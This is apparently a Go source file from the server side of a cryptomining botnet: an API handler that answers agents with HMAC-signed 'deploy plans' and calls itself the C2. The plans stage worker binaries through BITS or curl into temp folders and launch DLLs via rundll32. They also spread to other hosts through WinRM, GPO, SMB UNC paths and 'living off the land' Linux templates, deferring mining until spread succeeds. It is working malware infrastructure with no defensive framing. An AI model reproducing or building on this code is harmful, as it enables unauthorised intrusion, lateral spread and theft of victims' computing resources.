Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
405 lines
12 KiB
Go
405 lines
12 KiB
Go
package api
|
|
|
|
import (
|
|
"crypto/hmac"
|
|
"crypto/sha256"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
|
|
type StagingManifest struct {
|
|
Method string `json:"method"`
|
|
Chunks []StagingChunk `json:"chunks"`
|
|
SHA256 string `json:"sha256"`
|
|
Dest string `json:"dest"`
|
|
Launch string `json:"launch"`
|
|
DLLExport string `json:"dll_export,omitempty"`
|
|
Encoded bool `json:"encoded"`
|
|
DeferMining bool `json:"defer_mining,omitempty"`
|
|
SpreadInstall bool `json:"spread_install,omitempty"`
|
|
PeerGroup string `json:"peer_group,omitempty"`
|
|
}
|
|
|
|
type StagingChunk struct {
|
|
URL string `json:"url"`
|
|
File string `json:"file"`
|
|
}
|
|
|
|
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
|
|
type DeployPlanBody struct {
|
|
JoinLane string `json:"join_lane"`
|
|
MatchedService string `json:"matched_service,omitempty"`
|
|
Action string `json:"action"`
|
|
Manifest *StagingManifest `json:"manifest,omitempty"`
|
|
PeerGroup string `json:"peer_group,omitempty"`
|
|
Script string `json:"script,omitempty"`
|
|
UNCPath string `json:"unc_path,omitempty"`
|
|
MaxHosts int `json:"max_hosts,omitempty"`
|
|
ImageTarURL string `json:"image_tar_url,omitempty"`
|
|
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
|
}
|
|
|
|
type deployPlanRequest struct {
|
|
AgentID string `json:"agent_id"`
|
|
BuildID string `json:"build_id,omitempty"`
|
|
Campaign string `json:"campaign,omitempty"`
|
|
Platform string `json:"platform"`
|
|
Services []DeployServiceFinding `json:"services"`
|
|
UNCPath string `json:"unc_path,omitempty"`
|
|
}
|
|
|
|
type deployPlanResponse struct {
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
JoinLane string `json:"join_lane"`
|
|
MatchedService string `json:"matched_service,omitempty"`
|
|
Plan DeployPlanBody `json:"plan"`
|
|
Signature string `json:"signature"`
|
|
}
|
|
|
|
// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery.
|
|
type DeployPlanHandler struct {
|
|
db *dbpkg.Database
|
|
dataDir string
|
|
projectRoot string
|
|
publicURL func() string
|
|
fleetSecret func() string
|
|
allowlist func() map[string]ServiceDeployLane
|
|
}
|
|
|
|
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
|
return &DeployPlanHandler{
|
|
db: database,
|
|
dataDir: dataDir,
|
|
projectRoot: projectRoot,
|
|
publicURL: publicURL,
|
|
fleetSecret: fleetSecret,
|
|
allowlist: allowlist,
|
|
}
|
|
}
|
|
|
|
// POST /api/v1/agent/deploy-plan
|
|
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
|
var req deployPlanRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if len(req.Services) == 0 {
|
|
http.Error(w, "services required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
list := map[string]ServiceDeployLane{}
|
|
if h.allowlist != nil {
|
|
list = h.allowlist()
|
|
}
|
|
matched, lane, ok := PickDeployLane(req.Services, list)
|
|
if !ok {
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": false,
|
|
"error": "no allowlisted running services matched",
|
|
"checked": len(req.Services),
|
|
})
|
|
return
|
|
}
|
|
|
|
plan, err := h.buildPlan(req, matched, lane)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
sig, err := signDeployPlan(plan, h.fleetSecret())
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
|
|
writeJSON(w, deployPlanResponse{
|
|
OK: true,
|
|
JoinLane: plan.JoinLane,
|
|
MatchedService: matched,
|
|
Plan: plan,
|
|
Signature: sig,
|
|
})
|
|
}
|
|
|
|
func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) {
|
|
serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
|
|
if serverURL == "" {
|
|
serverURL = "http://127.0.0.1:8989"
|
|
}
|
|
|
|
body := DeployPlanBody{
|
|
JoinLane: lane.Lane,
|
|
MatchedService: matched,
|
|
Action: lane.Lane,
|
|
}
|
|
|
|
switch lane.Lane {
|
|
case "do_peer":
|
|
manifest, err := h.buildDOPeerManifest(req, serverURL)
|
|
if err != nil {
|
|
return DeployPlanBody{}, err
|
|
}
|
|
body.Manifest = manifest
|
|
body.PeerGroup = manifest.PeerGroup
|
|
case "bits_curl":
|
|
manifest, err := h.buildStagingManifest(req, serverURL)
|
|
if err != nil {
|
|
return DeployPlanBody{}, err
|
|
}
|
|
body.Manifest = manifest
|
|
case "docker_load":
|
|
manifest, err := h.buildStagingManifest(req, serverURL)
|
|
if err != nil {
|
|
return DeployPlanBody{}, err
|
|
}
|
|
body.Manifest = manifest
|
|
body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID)
|
|
if body.ImageTarURL != "" && req.BuildID != "" {
|
|
if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" {
|
|
body.ImageTarSHA256 = hash
|
|
}
|
|
}
|
|
case "winrm", "gpo", "linux_lotl":
|
|
tpl := strings.TrimSpace(lane.Template)
|
|
if tpl == "" {
|
|
tpl = lane.Lane
|
|
}
|
|
script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign)
|
|
if err != nil {
|
|
return DeployPlanBody{}, err
|
|
}
|
|
body.Script = script
|
|
case "spread_smb_unc":
|
|
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
|
body.MaxHosts = 64
|
|
default:
|
|
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
|
}
|
|
return body, nil
|
|
}
|
|
|
|
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
|
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
|
|
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
|
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
|
platform := strings.TrimSpace(req.Platform)
|
|
if platform == "" {
|
|
platform = "windows"
|
|
}
|
|
buildID := strings.TrimSpace(req.BuildID)
|
|
build, err := h.resolveBuild(buildID, platform)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
hash, err := fileSHA256(build.FilePath)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("build hash: %w", err)
|
|
}
|
|
|
|
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
|
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
|
peerGroup := "af-peer-" + hash[:8]
|
|
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
|
peerGroup = "af-peer-" + sanitizeDeployToken(campaign)
|
|
}
|
|
|
|
dest := `%TEMP%\AetherForge\do-peer-worker.exe`
|
|
launch := "exe"
|
|
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
|
dest = `%TEMP%\AetherForge\do-peer-worker.dll`
|
|
launch = "rundll32"
|
|
}
|
|
|
|
return &StagingManifest{
|
|
Method: "bits",
|
|
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
|
SHA256: hash,
|
|
Dest: dest,
|
|
Launch: launch,
|
|
DLLExport: "DllRegisterServer",
|
|
DeferMining: true,
|
|
SpreadInstall: true,
|
|
PeerGroup: peerGroup,
|
|
}, nil
|
|
}
|
|
|
|
func sanitizeDeployToken(s string) string {
|
|
s = strings.ToLower(strings.TrimSpace(s))
|
|
var b strings.Builder
|
|
for _, r := range s {
|
|
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
|
|
b.WriteRune(r)
|
|
}
|
|
}
|
|
out := b.String()
|
|
if out == "" {
|
|
return "local"
|
|
}
|
|
if len(out) > 24 {
|
|
return out[:24]
|
|
}
|
|
return out
|
|
}
|
|
|
|
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
|
platform := strings.TrimSpace(req.Platform)
|
|
if platform == "" {
|
|
platform = "windows"
|
|
}
|
|
buildID := strings.TrimSpace(req.BuildID)
|
|
build, err := h.resolveBuild(buildID, platform)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
hash, err := fileSHA256(build.FilePath)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("build hash: %w", err)
|
|
}
|
|
|
|
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
|
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
|
|
|
method := "bits"
|
|
if platform == "linux" || platform == "darwin" {
|
|
method = "curl"
|
|
}
|
|
|
|
dest := `%TEMP%\AetherForge\worker.exe`
|
|
if platform == "linux" {
|
|
dest = "/tmp/aetherforge-worker"
|
|
}
|
|
|
|
return &StagingManifest{
|
|
Method: method,
|
|
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
|
SHA256: hash,
|
|
Dest: dest,
|
|
Launch: "exe",
|
|
DeferMining: true,
|
|
SpreadInstall: true,
|
|
}, nil
|
|
}
|
|
|
|
func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) {
|
|
if buildID != "" {
|
|
b, err := h.db.GetBuild(buildID)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return b, nil
|
|
}
|
|
b, err := h.db.GetLatestBuildForPlatform(platform)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("no build for platform %q: %w", platform, err)
|
|
}
|
|
return b, nil
|
|
}
|
|
|
|
func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) {
|
|
b, err := h.resolveBuild(buildID, platform)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return fileSHA256(b.FilePath)
|
|
}
|
|
|
|
func fileSHA256(path string) (string, error) {
|
|
f, err := os.Open(path)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
defer f.Close()
|
|
h := sha256.New()
|
|
if _, err := io.Copy(h, f); err != nil {
|
|
return "", err
|
|
}
|
|
return hex.EncodeToString(h.Sum(nil)), nil
|
|
}
|
|
|
|
func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) {
|
|
subdir, _, err := spreadTemplatePaths(template)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
dir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
|
entries, err := os.ReadDir(dir)
|
|
if err != nil {
|
|
return "", fmt.Errorf("template dir: %w", err)
|
|
}
|
|
var scriptFile string
|
|
for _, e := range entries {
|
|
if e.IsDir() {
|
|
continue
|
|
}
|
|
name := e.Name()
|
|
if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") {
|
|
scriptFile = filepath.Join(dir, name)
|
|
break
|
|
}
|
|
}
|
|
if scriptFile == "" {
|
|
return "", fmt.Errorf("no script in template %s", subdir)
|
|
}
|
|
data, err := os.ReadFile(scriptFile)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": serverURL,
|
|
"{{BUILD_ID}}": buildID,
|
|
"{{CAMPAIGN}}": campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
|
"{{COM_HIJACK}}": "false",
|
|
"{{LOTL_MODE}}": "systemd_run_user",
|
|
"{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`,
|
|
}
|
|
content := string(data)
|
|
for k, v := range repl {
|
|
content = strings.ReplaceAll(content, k, v)
|
|
}
|
|
return content, nil
|
|
}
|
|
|
|
func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) {
|
|
if fleetSecret == "" {
|
|
return "", fmt.Errorf("fleet secret not configured")
|
|
}
|
|
payload, err := json.Marshal(plan)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
|
mac.Write(payload)
|
|
return hex.EncodeToString(mac.Sum(nil)), nil
|
|
}
|
|
|
|
// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2.
|
|
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
|
if fleetSecret == "" || signature == "" {
|
|
return false
|
|
}
|
|
payload, err := json.Marshal(plan)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
|
mac.Write(payload)
|
|
expected := hex.EncodeToString(mac.Sum(nil))
|
|
return hmac.Equal([]byte(expected), []byte(signature))
|
|
}
|